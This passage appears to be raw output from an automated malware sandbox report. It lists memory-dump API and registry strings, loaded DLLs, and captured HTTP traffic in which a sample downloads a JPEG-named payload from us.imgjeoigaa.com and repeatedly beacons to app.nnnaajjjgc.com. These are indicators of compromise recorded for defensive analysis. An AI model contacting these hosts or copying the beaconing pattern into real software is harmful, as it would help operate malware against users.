"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RtlFreeHeap"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API (Indicator: "RtlAllocateHeap"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp")32:T1c1b,"Software\Clients\Mail\" in Source: missionA.bin "Software\Microsoft\Windows\TabletPC\Snipping Tool\LinkFingerprints" in Source: missionA.bin "Software\Microsoft\Windows\TabletPC\Snipping Tool" in Source: missionA.bin "SOFTWARE\Microsoft\Windows\Tablet PC" in Source: missionA.bin "Software\Microsoft\WISP\PEN\SysEventParameters" in Source: missionA.bin "SOFTWARE\Policies\Microsoft\TabletPC" in Source: missionA.bin "\REGISTRY\MACHINE\SOFTWARE\Classes\W" in Source: 00000000-00001544.00000000.75934.00220000.00000004.mdmp 00000000-00001544.00000001.77652.00286000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2582827E-2379-4E2E-A7BD-69D244C0A1\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00001544.00000000.75934.00220000.00000004.mdmp 00000000-00001544.00000001.77652.00293000.00000004.mdmp "GISTRY\MACHINE\SOFTWARE\Classes\W" in Source: 00000000-00001544.00000000.75934.00220000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00001544.00000000.75934.7EFE0000.00000002.mdmp 00000000-00001544.00000001.77652.7EFE0000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001544.00000000.75934.FF601000.00000020.mdmp 00000000-00001544.00000001.77652.FF601000.00000020.mdmp "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize" in Source: 00000000-00001544.00000001.77652.00121000.00000004.mdmp "SOFTWARE\Classes\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00001544.00000001.77652.0029F000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00001544.00000001.77652.0029F000.00000004.mdmp "HKLM,Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL, DLL, %REG_SZ%, vm3dgl.dll" in Source: 00000000-00001544.00000001.77652.002E3000.00000004.mdmp "HKLM,Software\" in Source: 00000000-00001544.00000001.77652.002E3000.00000004.mdmp "HKLM,Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL, Flags, %REG_DWORD%, 0x0001" in Source: 00000000-00001544.00000001.77652.002E3000.00000004.mdmp "HKLM,Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL, Version, %REG_DWORD%, 0x0002" in Source: 00000000-00001544.00000001.77652.002E3000.00000004.mdmp "Software\Mi" in Source: 00000000-00001544.00000001.77652.002E9000.00000004.mdmp "ISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00001544.00000001.77652.002F5000.00000004.mdmp "[VMUsbMouse.\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00001544.00000001.77652.002F5000.00000004.mdmp "System\CurrentControlSet\Enum\" in Source: 00000000-00001544.00000001.77652.00EBE000.00000004.mdmp "HKLM\System\CurrentControlSet\Services\vmusbmouse" in Source: 00000000-00001544.00000001.77652.00EBE000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL" in Source: 00000000-00001544.00000001.77652.01228000.00000004.mdmp "musbmouse.hw.addreg_hklm\system\currentcontrolset\enum\" in Source: 00000000-00001544.00000001.77652.01228000.00000004.mdmp "m3d_softwaredevicesettings_common_hklm\system\currentcontrolset\control\class\{4d36e968-e325-11ce-bfc1-08002be10318}\" in Source: 00000000-00001544.00000001.77652.01228000.00000004.mdmp "mware_installers_addreg_hklm\system\currentcontrolset\services\vm3dmp" in Source: 00000000-00001544.00000001.77652.01228000.00000004.mdmp "e.hw.addreg_hklm\system\currentcontrolset\enum\" in Source: 00000000-00001544.00000001.77652.01228000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003864.00000000.69753.000D0000.00000004.mdmp 00000000-00003864.00000001.71678.000D0000.00000004.mdmp 00000000-00003864.00000002.73602.000D0000.00000004.mdmp 00000000-00003864.00000003.81040.000D0000.00000004.mdmp "\Registry\Machine\Software\Classes\Wh" in Source: 00000000-00003864.00000000.69753.000D0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003864.00000000.69753.000D0000.00000004.mdmp 00000000-00003864.00000001.71678.000D0000.00000004.mdmp 00000000-00003864.00000002.73602.000D0000.00000004.mdmp 00000000-00003864.00000003.81040.000D0000.00000004.mdmp "Software\iksaa23\it" in Source: 00000000-00003864.00000000.69753.01F20000.00000004.mdmp 00000000-00003864.00000000.69753.03110000.00000040.mdmp 00000000-00003864.00000000.69753.03290000.00000040.mdmp 00000000-00003864.00000001.71678.01F20000.00000004.mdmp 00000000-00003864.00000001.71678.03110000.00000040.mdmp 00000000-00003864.00000001.71678.03290000.00000040.mdmp 00000000-00003864.00000002.73602.01F20000.00000004.mdmp 00000000-00003864.00000002.73602.03110000.00000040.mdmp 00000000-00003864.00000002.73602.03290000.00000040.mdmp 00000000-00003864.00000003.81040.01F20000.00000004.mdmp 00000000-00003864.00000003.81040.03110000.00000040.mdmp 00000000-00003864.00000003.81040.03290000.00000040.mdmp33:T435,Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" (Indicator: "mozilla/5.0 ("; Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp, 00000000-00003864.00000000.69753.03110000.00000040.mdmp, 00000000-00003864.00000000.69753.03290000.00000040.mdmp, 00000000-00003864.00000001.71678.000D0000.00000004.mdmp, 00000000-00003864.00000001.71678.01F20000.00000004.mdmp, 00000000-00003864.00000001.71678.03110000.00000040.mdmp, 00000000-00003864.00000001.71678.03290000.00000040.mdmp, 00000000-00003864.00000002.73602.01F20000.00000004.mdmp, 00000000-00003864.00000002.73602.02B60000.00000004.mdmp, 00000000-00003864.00000002.73602.03110000.00000040.mdmp, 00000000-00003864.00000002.73602.03290000.00000040.mdmp, 00000000-00003864.00000003.81040.000D0000.00000004.mdmp, 00000000-00003864.00000003.81040.01F20000.00000004.mdmp, 00000000-00003864.00000003.81040.02B60000.00000004.mdmp, 00000000-00003864.00000003.81040.03110000.00000040.mdmp, 00000000-00003864.00000003.81040.03290000.00000040.mdmp")34:T37b9,"GET /sts/imagc.jpg HTTP/1.1 User-Agent: HTTPREAD Host: us.imgjeoigaa.com Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 17 Aug 2023 18:18:46 GMT Content-Type: image/jpeg Content-Length: 1508044 Last-Modified: Thu 17 Aug 2023 06:56:44 GMT Connection: keep-alive ETag: "64ddc4ac-1702cc" Accept-Ranges: bytes with response body ==>FFD8FFE000104A46494600010100000100010000FFDB004300030202020202030202020303030304060404040404080606050609080A0A090809090A0C0F0C0A....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365354564D51307035575663316131677A546A426A61556B325357787753315A36624668525A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365458644D51307035575663316131677A546A426A61556B32535731534D5656566344426A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365458684D51307035575663316131677A546A426A61556B325357314B656C457A536C5A585A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313654586C4D51307035575663316131677A546A426A61556B325357316156314A59597A564F5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365458704D51307035575663316131677A546A426A61556B32535778424D3152566248526A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365454424D51307035575663316131677A546A426A61556B325357784B62574E36546B6C575A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365454424D51307035575663316131677A546A426A61556B3253577430656C6C73536A566A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365454464D51307035575663316131677A546A426A61556B325357316B55564E49536A4A6A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313654544A4D51307035575663316131677A546A426A61556B325357354F536D46466448704F5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313654544E4D51307035575663316131677A546A426A61556B325357354353464579576B6C505A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365454524D51307035575663316131677A546A426A61556B325357314762324E73516E526A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365454564D51307035575663316131677A546A426A61556B32535774304D6C6C5561455A565A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365558644D51307035575663316131677A546A426A61556B325357784353453172576E4A585A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365558644D51307035575663316131677A546A426A61556B325357314F57465A49627A56685A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365558684D51307035575663316131677A546A426A61556B3253577843576B31755554526A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313655586C4D51307035575663316131677A546A426A61556B325357746F4D574E55566E4A4E5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365558704D51307035575663316131677A546A426A61556B32535735776447517A597A4E545A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365554424D51307035575663316131677A546A426A61556B3253573161566B39485A456C6A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365554464D51307035575663316131677A546A426A61556B32535778474E565A55624456545A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365554464D51307035575663316131677A546A426A61556B325357737857453957614735575A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313655544A4D51307035575663316131677A546A426A61556B325357784F62317072566B52565A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B313655544E4D51307035575663316131677A546A426A61556B325357746B65467058526E525A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365554524D51307035575663316131677A546A426A61556B325357357752316C575654566A5A586C4B656D465855576C50616C4636....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A545770724D6B31365554564D51307035575663316131677A546A426A61556B325357314763574A75516E686B5A586C4B656D465855576C50616C4636.......35:Tf34,".exe" loaded module "RPCRT4.DLL" at base fde20000 ".exe" loaded module "SHELL32.DLL" at base fe290000 ".exe" loaded module "OLE32.DLL" at base fd780000 ".exe" loaded module "ADVAPI32.DLL" at base fe140000 ".exe" loaded module "KERNEL32.DLL" at base 76fb0000 ".exe" loaded module "PROFAPI.DLL" at base fcdc0000 ".exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base f7c60000 ".exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base fd0c0000 ".exe" loaded module "WS2_32.DLL" at base fd730000 ".exe" loaded module "WINHTTP.DLL" at base f99d0000 ".exe" loaded module "IPHLPAPI.DLL" at base fa8b0000 ".exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fc550000 ".exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base f1f40000 ".exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base fc540000 ".exe" loaded module "DNSAPI.DLL" at base fc3d0000 ".exe" loaded module "CRYPTBASE.DLL" at base fcc20000 ".exe" loaded module "CLBCATQ.DLL" at base ff020000 ".exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base f52d0000 ".exe" loaded module "DHCPCSVC6.DLL" at base fa730000 ".exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fbf70000 ".exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base fdc70000 ".exe" loaded module "RASADHLP.DLL" at base f9290000 ".exe" loaded module "DHCPCSVC.DLL" at base fa6b0000 ".exe" loaded module "CRYPTSP.DLL" at base fc5b0000 ".exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc2b0000 ".exe" loaded module "RPCRTREMOTE.DLL" at base fcd10000 ".exe" loaded module "URLMON.DLL" at base ff250000 ".exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base f45e0000 ".exe" loaded module "OLEAUT32.DLL" at base fdc90000 ".exe" loaded module "SECUR32.DLL" at base fc8f0000 ".exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base fdc90000 ".exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base fdc70000 ".exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base fd2f0000 ".exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base fa760000 ".exe" loaded module "COMCTL32.DLL" at base fb7e0000 ".exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base fd730000 ".exe" loaded module "NTDLL" at base 770d0000 ".exe" loaded module "USER32.DLL" at base 76eb0000 ".exe" loaded module "CRYPT32.DLL" at base fce10000 ".exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f9350000 ".exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 ".exe" loaded module "KERNEL32" at base 76fb0000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 ".exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base fd050000 ".exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 ".exe" loaded module "SHLWAPI.DLL" at base fdda0000 ".exe" loaded module "SSPICLI.DLL" at base fcb90000 ".exe" loaded module "CREDSSP.DLL" at base fc1b0000 ".exe" loaded module "NTDLL.DLL" at base 770d0000 ".exe" loaded module "NSI.DLL" at base fdf50000 ".exe" loaded module "CFGMGR32.DLL" at base fd00000036:T5a2,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") 